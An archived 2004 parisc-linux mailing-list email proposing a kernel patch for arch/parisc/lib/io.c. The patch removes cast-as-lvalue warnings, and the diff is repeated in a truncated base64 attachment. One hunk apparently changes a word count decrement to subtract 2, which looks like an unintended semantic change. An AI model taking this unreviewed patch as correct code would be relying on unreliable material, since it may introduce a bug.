Subject: =?ISO-8859-1?Q?RE=3A=20=5Bparisc=2Dlinux=5D=20Cast=20of=20lvalue=20warning=20in=20the=20last=20k=202=2E6=2E5=2Drc2=20with=09last=20gcc=2D3=2E3=20=28next=29?=
Date: Wed, 24 Mar 2004 16:54:52 +0100
Lines: 505
Approved: news@gmane.org
Message-ID: <40561E710000662F@ocpmta2.freegates.net>
References: <40561EAF000053B8@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/40561E710000662F/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623299 7179 80.91.229.3 (22 Nov 2014 02:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:19 +0000 (UTC)
To: "PA-RISC Linux Port" <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 24 08:54:56 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF979483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 08:54:55 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1B6AiU-00089V-00
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 16:54:54 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 24 Mar 2004 16:54:52 +0100
In-Reply-To: <40561EAF000053B8@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 15:54:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21175


--========/40561E710000662F/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,


>PS2: still have to make the same exercise for:
>  gcc -Wp,-MD,arch/parisc/lib/.io.o.d -nostdinc -iwithprefix include >-D__KERNEL__
>-Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs
>-fno-strict-aliasin
>  -fno-common -pipe -mno-space-regs -mfast-indirect-calls
>-mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -O2 >-fomit-frame-pointer
>    -DKBUILD_BASENAME=io -DKBUILD_MODNAME=io -c -o arch/parisc/lib/io.o
>arch/parisc/lib/io.c
>arch/parisc/lib/io.c: In function `__memcpy_toio':
>arch/parisc/lib/io.c:24: warning: use of cast expressions as lvalues is
>deprecated
>arch/parisc/lib/io.c:24: warning: use of cast expressions as lvalues is
>deprecated

here is the next io.c diff file proposal (if some interest :) )
--- arch/parisc/lib/io.c.orig	2004-03-24 14:47:42.703516192 +0100
+++ arch/parisc/lib/io.c	2004-03-24 14:52:46.808285240 +0100
@@ -21,19 +21,19 @@
 		goto bytecopy;
 	while (dest & 3) {
 		writeb(*(char *)src, dest++);
-		((char *)src)++;
-		count--;
+		src += sizeof(char);
+		count -= sizeof(char);
 	}
 	while (count > 3) {
 		__raw_writel(*(u32 *)src, dest);
-		src += 4;
-		dest += 4;
-		count -= 4;
+		src += sizeof(u32);
+		dest += sizeof(u32);
+		count -= sizeof(u32);
 	}
  bytecopy:
 	while (count--) {
 		writeb(*(char *)src, dest++);
-		((char *)src)++;
+		src += sizeof(char);
 	}
 }
 
@@ -62,39 +62,39 @@
 	/* Then check for misaligned start address */
 	if (src & 1) {
 		*(u8 *)dest = readb(src);
-		((u8 *)src)++;
-		((u8 *)dest)++;
-		count--;
+		src += sizeof(u8);
+		dest += sizeof(u8);
+		count -= sizeof(u8);
 		if (count < 2) goto bytecopy;
 	}
 
 	if (src & 2) {
 		*(u16 *)dest = __raw_readw(src);
-		((u16 *)src)++;
-		((u16 *)dest)++;
-		count-=2;
+		src += sizeof(u16);
+		dest += sizeof(u16);
+		count -= sizeof(u16);
 	}
 
 	while (count > 3) {
 		*(u32 *)dest = __raw_readl(src);
-		dest += 4;
-		src += 4;
-		count -= 4;
+		dest += sizeof(u32);
+		src += sizeof(u32);
+		count -= sizeof(u32);
 	}
 
  shortcopy:
 	while (count > 1) {
 		*(u16 *)dest = __raw_readw(src);
-		((u16 *)src)++;
-		((u16 *)dest)++;
-		count-=2;
+		src += sizeof(u16);
+		dest += sizeof(u16);
+		count -= sizeof(u16);
 	}
 
  bytecopy:
 	while (count--) {
 		*(char *)dest = readb(src);
-		((char *)src)++;
-		((char *)dest)++;
+		src += sizeof(char);
+		dest += sizeof(char);
 	}
 }
 
@@ -130,7 +130,7 @@
 			return;
 		count--;
 		*(unsigned char *) dst = inb(port);
-		((unsigned char *) dst)++;
+		dst += sizeof(unsigned char);
 	}
 
 	while (count >= 4) {
@@ -141,13 +141,13 @@
 		w |= inb(port) << 8;
 		w |= inb(port);
 		*(unsigned int *) dst = w;
-		((unsigned int *) dst)++;
+		dst += sizeof(unsigned int);
 	}
 
 	while (count) {
 		--count;
 		*(unsigned char *) dst = inb(port);
-		((unsigned char *) dst)++;
+		dst += sizeof(unsigned char);
 	}
 }
 
@@ -175,7 +175,7 @@
 			l = cpu_to_le16(inw(port)) << 16;
 			l |= cpu_to_le16(inw(port));
 			*(unsigned int *) dst = l;
-			((unsigned int *) dst)++;
+			dst += sizeof(unsigned int);
 		}
 		if (count) {
 			*(unsigned short *) dst = cpu_to_le16(inw(port));
@@ -184,15 +184,15 @@
 	
 	 case 0x02:			/* Buffer 16-bit aligned */
 		*(unsigned short *) dst = cpu_to_le16(inw(port));
-		((unsigned short *) dst)++;
-		count--;
+		dst += sizeof(unsigned short);
+		count -= sizeof(unsigned short);
 		while (count>=2) {
 			
 			count -= 2;
 			l = cpu_to_le16(inw(port)) << 16;
 			l |= cpu_to_le16(inw(port));
 			*(unsigned int *) dst = l;
-			((unsigned int *) dst)++;
+			dst += sizeof(unsigned int);
 		}
 		if (count) {
 			*(unsigned short *) dst = cpu_to_le16(inw(port));
@@ -207,12 +207,12 @@
 		
 		l = cpu_to_le16(inw(port));
 		*(unsigned char *) dst = l >> 8;
-		((unsigned char *) dst)++;
+		dst += sizeof(unsigned char);
 		while (count--)
 		{
 			l2 = cpu_to_le16(inw(port));
 			*(unsigned short *) dst = (l & 0xff) << 8 | (l2 >> 8);
-			((unsigned short *) dst)++;
+			dst += sizeof(unsigned short);
 			l = l2;
 		}
 		*(unsigned char *) dst = l & 0xff;
@@ -241,7 +241,7 @@
 		while (count--)
 		{
 			*(unsigned int *) dst = cpu_to_le32(inl(port));
-			((unsigned int *) dst)++;
+			dst += sizeof(unsigned int);
 		}
 		break;
 	
@@ -250,13 +250,13 @@
 		
 		l = cpu_to_le32(inl(port));
 		*(unsigned short *) dst = l >> 16;
-		((unsigned short *) dst)++;
+		dst += sizeof(unsigned short);
 		
 		while (count--)
 		{
 			l2 = cpu_to_le32(inl(port));
 			*(unsigned int *) dst = (l & 0xffff) << 16 | (l2 >> 16);
-			((unsigned int *) dst)++;
+			dst += sizeof(unsigned int);
 			l = l2;
 		}
 		*(unsigned short *) dst = l & 0xffff;
@@ -266,14 +266,14 @@
 		
 		l = cpu_to_le32(inl(port));
 		*(unsigned char *) dst = l >> 24;
-		((unsigned char *) dst)++;
+		dst += sizeof(unsigned char);
 		*(unsigned short *) dst = (l >> 8) & 0xffff;
-		((unsigned short *) dst)++;
+		dst += sizeof(unsigned short);
 		while (count--)
 		{
 			l2 = cpu_to_le32(inl(port));
 			*(unsigned int *) dst = (l & 0xff) << 24 | (l2 >> 8);
-			((unsigned int *) dst)++;
+			dst += sizeof(unsigned int);
 			l = l2;
 		}
 		*(unsigned char *) dst = l & 0xff;
@@ -283,16 +283,16 @@
 		
 		l = cpu_to_le32(inl(port));
 		*(unsigned char *) dst = l >> 24;
-		((unsigned char *) dst)++;
+		dst += sizeof(unsigned char);
 		while (count--)
 		{
 			l2 = cpu_to_le32(inl(port));
 			*(unsigned int *) dst = (l & 0xffffff) << 8 | l2 >> 24;
-			((unsigned int *) dst)++;
+			dst += sizeof(unsigned int);
 			l = l2;
 		}
 		*(unsigned short *) dst = (l >> 8) & 0xffff;
-		((unsigned short *) dst)++;
+		dst += sizeof(unsigned short);
 		*(unsigned char *) dst = l & 0xff;
 		break;
 	}
@@ -308,9 +308,9 @@
 void outsb(unsigned long port, const void * src, unsigned long count)
 {
 	while (count) {
-		count--;
 		outb(*(char *)src, port);
-		((char *) src)++;
+		src += sizeof(char);
+		count -= sizeof(char);
 	}
 }
 
@@ -333,7 +333,7 @@
 		while (count>=2) {
 			count -= 2;
 			l = *(unsigned int *) src;
-			((unsigned int *) src)++;
+			src += sizeof(unsigned int);
 			outw(le16_to_cpu(l >> 16), port);
 			outw(le16_to_cpu(l & 0xffff), port);
 		}
@@ -345,13 +345,13 @@
 	 case 0x02:			/* Buffer 16-bit aligned */
 		
 		outw(le16_to_cpu(*(unsigned short*)src), port);
-		((unsigned short *) src)++;
+		src += sizeof(unsigned short);
 		count--;
 		
 		while (count>=2) {
 			count -= 2;
 			l = *(unsigned int *) src;
-			((unsigned int *) src)++;
+			src += sizeof(unsigned int);
 			outw(le16_to_cpu(l >> 16), port);
 			outw(le16_to_cpu(l & 0xffff), port);
 		}
@@ -365,13 +365,13 @@
 		 * in this case, 16bit will have to do -- DE */
 		
 		l  = *(unsigned char *) src << 8;
-		((unsigned char *) src)++;
+		src += sizeof(unsigned char);
 		count--;
 		while (count)
 		{
 			count--;
 			l2 = *(unsigned short *) src;
-			((unsigned short *) src)++;
+			src += sizeof(unsigned short);
 			outw(le16_to_cpu(l | l2 >> 8), port);
 		        l = l2 << 8;
 		}
@@ -402,7 +402,7 @@
 		while (count--)
 		{
 			outl(le32_to_cpu(*(unsigned int *) src), port);
-			((unsigned int *) src)++;
+			src += sizeof(unsigned int);
 		}
 		break;
 	
@@ -410,12 +410,12 @@
 		--count;
 		
 		l = *(unsigned short *) src;
-		((unsigned short *) src)++;
+		src += sizeof(unsigned short);
 		
 		while (count--)
 		{
 			l2 = *(unsigned int *) src;
-			((unsigned int *) src)++;
+			src += sizeof(unsigned int);
 			outl (le32_to_cpu(l << 16 | l2 >> 16), port);
 			l = l2;
 		}
@@ -426,13 +426,13 @@
 		--count;
 		
 		l  = *(unsigned char *) src << 24;
-		((unsigned char *) src)++;
+		src += sizeof(unsigned char);
 		l |= *(unsigned short *) src << 8;
-		((unsigned short *) src)++;
+		src += sizeof(unsigned short);
 		while (count--)
 		{
 			l2 = *(unsigned int *) src;
-			((unsigned int *) src)++;
+			src += sizeof(unsigned int);
 			outl (le32_to_cpu(l | l2 >> 24), port);
 			l = l2 << 8;
 		}
@@ -443,16 +443,16 @@
 		--count;
 		
 		l  = *(unsigned char *) src << 24;
-		((unsigned char *) src)++;
+		src += sizeof(unsigned char);
 		while (count--)
 		{
 			l2 = *(unsigned int *) src;
-			((unsigned int *) src)++;
+			src += sizeof(unsigned int);
 			outl (le32_to_cpu(l | l2 >> 8), port);
 			l = l2 << 24;
 		}
 		l2  = *(unsigned short *) src << 16;
-		((unsigned short *) src)++;
+		src += sizeof(unsigned short);
 		l2 |= *(unsigned char *) src;
 		outl (le32_to_cpu(l | l2), port);
 		break;
=========><=========

hth,
    Joel

PS: I am runing a kernel with this patch on my n4k :)

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr




--========/40561E710000662F/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="io.c.diff"

LS0tIGFyY2gvcGFyaXNjL2xpYi9pby5jLm9yaWcJMjAwNC0wMy0yNCAxNDo0Nzo0Mi43MDM1MTYx
OTIgKzAxMDAKKysrIGFyY2gvcGFyaXNjL2xpYi9pby5jCTIwMDQtMDMtMjQgMTQ6NTI6NDYuODA4
Mjg1MjQwICswMTAwCkBAIC0yMSwxOSArMjEsMTkgQEAKIAkJZ290byBieXRlY29weTsKIAl3aGls
ZSAoZGVzdCAmIDMpIHsKIAkJd3JpdGViKCooY2hhciAqKXNyYywgZGVzdCsrKTsKLQkJKChjaGFy
ICopc3JjKSsrOwotCQljb3VudC0tOworCQlzcmMgKz0gc2l6ZW9mKGNoYXIpOworCQljb3VudCAt
PSBzaXplb2YoY2hhcik7CiAJfQogCXdoaWxlIChjb3VudCA+IDMpIHsKIAkJX19yYXdfd3JpdGVs
KCoodTMyICopc3JjLCBkZXN0KTsKLQkJc3JjICs9IDQ7Ci0JCWRlc3QgKz0gNDsKLQkJY291bnQg
LT0gNDsKKwkJc3JjICs9IHNpemVvZih1MzIpOworCQlkZXN0ICs9IHNpemVvZih1MzIpOworCQlj
b3VudCAtPSBzaXplb2YodTMyKTsKIAl9CiAgYnl0ZWNvcHk6CiAJd2hpbGUgKGNvdW50LS0pIHsK
IAkJd3JpdGViKCooY2hhciAqKXNyYywgZGVzdCsrKTsKLQkJKChjaGFyICopc3JjKSsrOworCQlz
cmMgKz0gc2l6ZW9mKGNoYXIpOwogCX0KIH0KIApAQCAtNjIsMzkgKzYyLDM5IEBACiAJLyogVGhl
biBjaGVjayBmb3IgbWlzYWxpZ25lZCBzdGFydCBhZGRyZXNzICovCiAJaWYgKHNyYyAmIDEpIHsK
IAkJKih1OCAqKWRlc3QgPSByZWFkYihzcmMpOwotCQkoKHU4ICopc3JjKSsrOwotCQkoKHU4ICop
ZGVzdCkrKzsKLQkJY291bnQtLTsKKwkJc3JjICs9IHNpemVvZih1OCk7CisJCWRlc3QgKz0gc2l6
ZW9mKHU4KTsKKwkJY291bnQgLT0gc2l6ZW9mKHU4KTsKIAkJaWYgKGNvdW50IDwgMikgZ290byBi
eXRlY29weTsKIAl9CiAKIAlpZiAoc3JjICYgMikgewogCQkqKHUxNiAqKWRlc3QgPSBfX3Jhd19y
ZWFkdyhzcmMpOwotCQkoKHUxNiAqKXNyYykrKzsKLQkJKCh1MTYgKilkZXN0KSsrOwotCQljb3Vu
dC09MjsKKwkJc3JjICs9IHNpemVvZih1MTYpOworCQlkZXN0ICs9IHNpemVvZih1MTYpOworCQlj
b3VudCAtPSBzaXplb2YodTE2KTsKIAl9CiAKIAl3aGlsZSAoY291bnQgPiAzKSB7CiAJCSoodTMy
ICopZGVzdCA9IF9fcmF3X3JlYWRsKHNyYyk7Ci0JCWRlc3QgKz0gNDsKLQkJc3JjICs9IDQ7Ci0J
CWNvdW50IC09IDQ7CisJCWRlc3QgKz0gc2l6ZW9mKHUzMik7CisJCXNyYyArPSBzaXplb2YodTMy
KTsKKwkJY291bnQgLT0gc2l6ZW9mKHUzMik7CiAJfQogCiAgc2hvcnRjb3B5OgogCXdoaWxlIChj
b3VudCA+IDEpIHsKIAkJKih1MTYgKilkZXN0ID0gX19yYXdfcmVhZHcoc3JjKTsKLQkJKCh1MTYg
KilzcmMpKys7Ci0JCSgodTE2ICopZGVzdCkrKzsKLQkJY291bnQtPTI7CisJCXNyYyArPSBzaXpl
b2YodTE2KTsKKwkJZGVzdCArPSBzaXplb2YodTE2KTsKKwkJY291bnQgLT0gc2l6ZW9mKHUxNik7
CiAJfQogCiAgYnl0ZWNvcHk6CiAJd2hpbGUgKGNvdW50LS0pIHsKIAkJKihjaGFyICopZGVzdCA9
IHJlYWRiKHNyYyk7Ci0JCSgoY2hhciAqKXNyYykrKzsKLQkJKChjaGFyICopZGVzdCkrKzsKKwkJ
c3JjICs9IHNpemVvZihjaGFyKTsKKwkJZGVzdCArPSBzaXplb2YoY2hhcik7CiAJfQogfQogCkBA
IC0xMzAsNyArMTMwLDcgQEAKIAkJCXJldHVybjsKIAkJY291bnQtLTsKIAkJKih1bnNpZ25lZCBj
aGFyICopIGRzdCA9IGluYihwb3J0KTsKLQkJKCh1bnNpZ25lZCBjaGFyICopIGRzdCkrKzsKKwkJ
ZHN0ICs9IHNpemVvZih1bnNpZ25lZCBjaGFyKTsKIAl9CiAKIAl3aGlsZSAoY291bnQgPj0gNCkg
ewpAQCAtMTQxLDEzICsxNDEsMTMgQEAKIAkJdyB8PSBpbmIocG9ydCkgPDwgODsKIAkJdyB8PSBp
bmIocG9ydCk7CiAJCSoodW5zaWduZWQgaW50ICopIGRzdCA9IHc7Ci0JCSgodW5zaWduZWQgaW50
ICopIGRzdCkrKzsKKwkJZHN0ICs9IHNpemVvZih1bnNpZ25lZCBpbnQpOwogCX0KIAogCXdoaWxl
IChjb3VudCkgewogCQktLWNvdW50OwogCQkqKHVuc2lnbmVkIGNoYXIgKikgZHN0ID0gaW5iKHBv
cnQpOwotCQkoKHVuc2lnbmVkIGNoYXIgKikgZHN0KSsrOworCQlkc3QgKz0gc2l6ZW9mKHVuc2ln
bmVkIGNoYXIpOwogCX0KIH0KIApAQCAtMTc1LDcgKzE3NSw3IEBACiAJCQlsID0gY3B1X3RvX2xl
MTYoaW53KHBvcnQpKSA8PCAxNjsKIAkJCWwgfD0gY3B1X3RvX2xlMTYoaW53KHBvcnQpKTsKIAkJ
CSoodW5zaWduZWQgaW50ICopIGRzdCA9IGw7Ci0JCQkoKHVuc2lnbmVkIGludCAqKSBkc3QpKys7
CisJCQlkc3QgKz0gc2l6ZW9mKHVuc2lnbmVkIGludCk7CiAJCX0KIAkJaWYgKGNvdW50KSB7CiAJ
CQkqKHVuc2lnbmVkIHNob3J0ICopIGRzdCA9IGNwdV90b19sZTE2KGludyhwb3J0KSk7CkBAIC0x
ODQsMTUgKzE4NCwxNSBAQAogCQogCSBjYXNlIDB4MDI6CQkJLyogQnVmZmVyIDE2LWJpdCBhbGln
bmVkICovCiAJCSoodW5zaWduZWQgc2hvcnQgKikgZHN0ID0gY3B1X3RvX2xlMTYoaW53KHBvcnQp
KTsKLQkJKCh1bnNpZ25lZCBzaG9ydCAqKSBkc3QpKys7Ci0JCWNvdW50LS07CisJCWRzdCArPSBz
aXplb2YodW5zaWduZWQgc2hvcnQpOworCQljb3VudCAtPSBzaXplb2YodW5zaWduZWQgc2hvcnQp
OwogCQl3aGlsZSAoY291bnQ+PTIpIHsKIAkJCQogCQkJY291bnQgLT0gMjsKIAkJCWwgPSBjcHVf
dG9fbGUxNihpbncocG9ydCkpIDw8IDE2OwogCQkJbCB8PSBjcHVfdG9fbGUxNihpbncocG9ydCkp
OwogCQkJKih1bnNpZ25lZCBpbnQgKikgZHN0ID0gbDsKLQkJCSgodW5zaWduZWQgaW50ICopIGRz
dCkrKzsKKwkJCWRzdCArPSBzaXplb2YodW5zaWduZWQgaW50KTsKIAkJfQogCQlpZiAoY291bnQp
IHsKIAkJCSoodW5zaWduZWQgc2hvcnQgKikgZHN0ID0gY3B1X3RvX2xlMTYoaW53KHBvcnQpKTsK
QEAgLTIwNywxMiArMjA3LDEyIEBACiAJCQogCQlsID0gY3B1X3RvX2xlMTYoaW53KHBvcnQpKTsK
IAkJKih1bnNpZ25lZCBjaGFyICopIGRzdCA9IGwgPj4gODsKLQkJKCh1bnNpZ25lZCBjaGFyICop
IGRzdCkrKzsKKwkJZHN0ICs9IHNpemVvZih1bnNpZ25lZCBjaGFyKTsKIAkJd2hpbGUgKGNvdW50
LS0pCiAJCXsKIAkJCWwyID0gY3B1X3RvX2xlMTYoaW53KHBvcnQpKTsKIAkJCSoodW5z
aWduZWQgc2hvcnQgKikgZHN0ID0gKGwgJiAweGZmKSA8PCA4IHwgKGwyID4+IDgpOwotCQkJKCh1
bnNpZ25lZCBzaG9ydCAqKSBkc3QpKys7CisJCQlkc3QgKz0gc2l6ZW9mKHVuc2lnbmVkIHNob3J0
KTsKIAkJCWwgPSBsMjsKIAkJfQogCQkqKHVuc2lnbmVkIGNoYXIgKikgZHN0ID0gbCAmIDB4ZmY7
CkBAIC0yNDEsNyArMjQxLDcgQEAKIAkJd2hpbGUgKGNvdW50LS0pCiAJCXsKIAkJCSoodW5zaWdu
ZWQgaW50ICopIGRzdCA9IGNwdV90b19sZTMyKGlubChwb3J0KSk7Ci0JCQkoKHVuc2lnbmVkIGlu
dCAqKSBkc3QpKys7CisJCQlkc3QgKz0gc2l6ZW9mKHVuc2lnbmVkIGludCk7CiAJCX0KIAkJYnJl
YWs7CiAJCkBAIC0yNTAsMTMgKzI1MCwxMyBAQAogCQkKIAkJbCA9IGNwdV90b19sZTMyKGlubChw
b3J0KSk7CiAJCSoodW5zaWduZWQgc2hvcnQgKikgZHN0ID0gbCA+PiAxNjsKLQkJKCh1bnNpZ25l
ZCBzaG9ydCAqKSBkc3QpKys7CisJCWRzdCArPSBzaXplb2YodW5zaWduZWQgc2hvcnQpOwogCQkK
IAkJd2hpbGUgKGNvdW50LS0pCiAJCXsKIAkJCWwyID0gY3B1X3RvX2xlMzIoaW5sKHBvcnQpKTsK
IAkJCSoodW5zaWduZWQgaW50ICopIGRzdCA9IChsICYgMHhmZmZmKSA8PCAxNiB8IChsMiA+PiAx
Nik7Ci0JCQkoKHVuc2lnbmVkIGludCAqKSBkc3QpKys7CisJCQlkc3QgKz0gc2l6ZW9mKHVuc2ln
bmVkIGludCk7CiAJCQlsID0gbDI7CiAJCX0KIAkJKih1bnNpZ25lZCBzaG9ydCAqKSBkc3QgPSBs
ICYgMHhmZmZmOwpAQCAtMjY2LDE0ICsyNjYsMTQgQEAKIAkJCiAJCWwgPSBjcHVfdG9fbGUzMihp
bmwocG9ydCkpOwogCQkqKHVuc2lnbmVkIGNoYXIgKikgZHN0ID0gbCA+PiAyNDsKLQkJKCh1bnNp
Z25lZCBjaGFyICopIGRzdCkrKzsKKwkJZHN0ICs9IHNpemVvZih1bnNpZ25lZCBjaGFyKTsKIAkJ
Kih1bnNpZ25lZCBzaG9ydCAqKSBkc3QgPSAobCA+PiA4KSAmIDB4ZmZmZjsKLQkJKCh1bnNpZ25l
ZCBzaG9ydCAqKSBkc3QpKys7CisJCWRzdCArPSBzaXplb2YodW5zaWduZWQgc2hvcnQpOwogCQl3
aGlsZSAoY291bnQtLSkKIAkJewogCQkJbDIgPSBjcHVfdG9fbGUzMihpbmwocG9ydCkpOwogCQkJ
Kih1bnNpZ25lZCBpbnQgKikgZHN0ID0gKGwgJiAweGZmKSA8PCAyNCB8IChsMiA+PiA4KTsKLQkJ
CSgodW5zaWduZWQgaW50ICopIGRzdCkrKzsKKwkJCWRzdCArPSBzaXplb2YodW5zaWduZWQgaW50
KTsKIAkJCWwgPSBsMjsKIAkJfQogCQkqKHVuc2lnbmVkIGNoYXIgKikgZHN0ID0gbCAmIDB4ZmY7
CkBAIC0yODMsMTYgKzI4MywxNiBAQAogCQkKIAkJbCA9IGNwdV90b19sZTMyKGlubChwb3J0KSk7
CiAJCSoodW5zaWduZWQgY2hhciAqKSBkc3QgPSBsID4+IDI0OwotCQkoKHVuc2lnbmVkIGNoYXIg
KikgZHN0KSsrOworCQlkc3QgKz0gc2l6ZW9mKHVuc2lnbmVkIGNoYXIpOwogCQl3aGlsZSAoY291
bnQtLSkKIAkJewogCQkJbDIgPSBjcHVfdG9fbGUzMihpbmwocG9ydCkpOwogCQkJKih1bnNpZ25l
ZCBpbnQgKikgZHN0ID0gKGwgJiAweGZmZmZmZikgPDwgOCB8IGwyID4+IDI0OwotCQkJKCh1bnNp
Z25lZCBpbnQgKikgZHN0KSsrOworCQkJZHN0ICs9IHNpemVvZih1bnNpZ25lZCBpbnQpOwogCQkJ
bCA9IGwyOwogCQl9CiAJCSoodW5zaWduZWQgc2hvcnQgKikgZHN0ID0gKGwgPj4gOCkgJiAweGZm
ZmY7Ci0JCSgodW5zaWduZWQgc2hvcnQgKikgZHN0KSsrOworCQlkc3QgKz0gc2l6ZW9mKHVuc2ln
bmVkIHNob3J0KTsKIAkJKih1bnNpZ25lZCBjaGFyICopIGRzdCA9IGwgJiAweGZmOwogCQlicmVh
azsKIAl9CkBAIC0zMDgsOSArMzA4LDkgQEAKIHZvaWQgb3V0c2IodW5zaWduZWQgbG9uZyBwb3J0
LCBjb25zdCB2b2lkICogc3JjLCB1bnNpZ25lZCBsb25nIGNvdW50KQogewogCXdoaWxlIChjb3Vu
dCkgewotCQljb3VudC0tOwogCQlvdXRiKCooY2hhciAqKXNyYywgcG9ydCk7Ci0JCSgoY2hhciAq
KSBzcmMpKys7CisJCXNyYyArPSBzaXplb2YoY2hhcik7CisJCWNvdW50IC09IHNpemVvZihjaGFy
KTsKIAl9CiB9CiAKQEAgLTMzMyw3ICszMzMsNyBAQAogCQl3aGlsZSAoY291bnQ+PTIpIHsKIAkJ
CWNvdW50IC09IDI7CiAJCQlsID0gKih1bnNpZ25lZCBpbnQgKikgc3JjOwotCQkJKCh1bnNpZ25l
ZCBpbnQgKikgc3JjKSsrOworCQkJc3JjICs9IHNpemVvZih1bnNpZ25lZCBpbnQpOwogCQkJb3V0
dyhsZTE2X3RvX2NwdShsID4+IDE2KSwgcG9ydCk7CiAJCQlvdXR3KGxlMTZfdG9fY3B1KGwgJiAw
eGZmZmYpLCBwb3J0KTsKIAkJfQpAQCAtMzQ1LDEzICszNDUsMTMgQEAKIAkgY2FzZSAweDAyOgkJ
CS8qIEJ1ZmZlciAxNi1iaXQgYWxpZ25lZCAqLwogCQkKIAkJb3V0dyhsZTE2X3RvX2NwdSgqKHVu
c2lnbmVkIHNob3J0KilzcmMpLCBwb3J0KTsKLQkJKCh1bnNpZ25lZCBzaG9ydCAqKSBzcmMpKys7
CisJCXNyYyArPSBzaXplb2YodW5zaWduZWQgc2hvcnQpOwogCQljb3VudC0tOwogCQkKIAkJd2hp
bGUgKGNvdW50Pj0yKSB7CiAJCQljb3VudCAtPSAyOwogCQkJbCA9ICoodW5zaWduZWQgaW50ICop
IHNyYzsKLQkJCSgodW5zaWduZWQgaW50ICopIHNyYykrKzsKKwkJCXNyYyArPSBzaXplb2YodW5z
aWduZWQgaW50KTsKIAkJCW91dHcobGUxNl90b19jcHUobCA+PiAxNiksIHBvcnQpOwogCQkJb3V0
dyhsZTE2X3RvX2NwdShsICYgMHhmZmZmKSwgcG9ydCk7CiAJCX0KQEAgLTM2NSwxMyArMzY1LDEz
IEBACiAJCSAqIGluIHRoaXMgY2FzZSwgMTZiaXQgd2lsbCBoYXZlIHRvIGRvIC0tIERFICovCiAJ
CQogCQlsICA9ICoodW5zaWduZWQgY2hhciAqKSBzcmMgPDwgODsKLQkJKCh1bnNpZ25lZCBjaGFy
ICopIHNyYykrKzsKKwkJc3JjICs9IHNpemVvZih1bnNpZ25lZCBjaGFyKTsKIAkJY291bnQtLTsK
IAkJd2hpbGUgKGNvdW50KQogCQl7CiAJCQljb3VudC0tOwogCQkJbDIgPSAqKHVuc2lnbmVkIHNo
b3J0ICopIHNyYzsKLQkJCSgodW5zaWduZWQgc2hvcnQgKikgc3JjKSsrOworCQkJc3JjICs9IHNp
emVvZih1bnNpZ25lZCBzaG9ydCk7CiAJCQlvdXR3KGxlMTZfdG9fY3B1KGwgfCBsMiA+PiA4KSwg
cG9ydCk7CiAJCSAgICAgICAgbCA9IGwyIDw8IDg7CiAJCX0KQEAgLTQwMiw3ICs0MDIs
NyBAQAogCQl3aGlsZSAoY291bnQtLSkKIAkJewogCQkJb3V0bChsZTMyX3RvX2NwdSgqKHVuc2ln
bmVkIGludCAqKSBzcmMpLCBwb3J0KTsKLQkJCSgodW5zaWduZWQgaW50ICopIHNyYykrKzsKKwkJ
CXNyYyArPSBzaXplb2YodW5zaWduZWQgaW50KTsKIAkJfQogCQlicmVhazsKIAkKQEAgLTQxMCwx
MiArNDEwLDEyIEBACiAJCS0tY291bnQ7CiAJCQogCQlsID0gKih1bnNpZ25lZCBzaG9ydCAqKSBz
cmM7Ci0JCSgodW5zaWduZWQgc2hvcnQgKikgc3JjKSsrOworCQlzcmMgKz0gc2l6ZW9mKHVuc2ln
bmVkIHNob3J0KTsKIAkJCiAJCXdoaWxlIChjb3VudC0tKQogCQl7CiAJCQlsMiA9ICoodW5zaWdu
ZWQgaW50ICopIHNyYzsKLQkJCSgodW5zaWduZWQgaW50ICopIHNyYykrKzsKKwkJCXNyYyArPSBz
aXplb2YodW5zaWduZWQgaW50KTsKIAkJCW91dGwgKGxlMzJfdG9fY3B1KGwgPDwgMTYgfCBsMiA+
PiAxNiksIHBvcnQpOwogCQkJbCA9IGwyOwogCQl9CkBAIC00MjYsMTMgKzQyNiwxMyBAQAogCQkt
LWNvdW50OwogCQkKIAkJbCAgPSAqKHVuc2lnbmVkIGNoYXIgKikgc3JjIDw8IDI0OwotCQkoKHVu
c2lnbmVkIGNoYXIgKikgc3JjKSsrOworCQlzcmMgKz0gc2l6ZW9mKHVuc2lnbmVkIGNoYXIpOwog
CQlsIHw9ICoodW5zaWduZWQgc2hvcnQgKikgc3JjIDw8IDg7Ci0JCSgodW5zaWduZWQgc2hvcnQg
Kikgc3JjKSsrOworCQlzcmMgKz0gc2l6ZW9mKHVuc2lnbmVkIHNob3J0KTsKIAkJd2hpbGUgKGNv
